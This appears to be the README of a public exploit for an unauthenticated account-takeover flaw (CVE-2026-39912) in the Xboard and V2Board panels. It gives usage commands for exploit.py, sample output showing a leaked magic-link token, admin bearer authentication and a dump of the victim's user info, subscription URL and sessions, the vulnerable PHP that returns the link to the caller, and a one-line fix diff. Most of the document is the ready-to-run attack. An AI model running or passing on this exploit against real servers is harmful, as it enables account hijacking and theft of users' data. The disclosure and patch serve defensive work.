# Install dependencies
pip install requests

# Account takeover + data dump
python3 exploit.py http://target:7001 [email protected]

# Save dump to file
python3 exploit.py http://target:7001 [email protected] -o dump.json

$ python3 exploit.py http://target:7001 [email protected]

 Xboard / V2Board - Unauth Account Takeover
 Magic Link Token Leak (CVE-2026-39912) | by Choc
 V2Board >= 1.6.1 | Xboard <= 0.1.9+
 45 min from git clone to is_admin: true

[INFO] Requesting magic link for [email protected]
[INFO] Leaked: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] Authenticated (admin=True)
[INFO] User Info: OK
[INFO] Subscription: OK
[INFO] Active Sessions: OK
[INFO] Stats: OK

{
  "auth": {
    "auth_data": "Bearer qCU2d9hS...",
    "is_admin": true
  },
  "dump": {
    "User Info": {
      "email": "[email protected]",
      "uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
      ...
    },
    "Subscription": {
      "subscribe_url": "http://target:7001/s/324396af...",
      ...
    },
    "Active Sessions": [ ... ]
  }
}

SendEmailJob::dispatch([...]);

return response([
    'data' => $link   // Token leaked to caller
]);

$this->sendMailLinkEmail($user, $link);

return [true, $link]; // Same bug, inherited from fork

- return [true, $link];
+ return [true, true];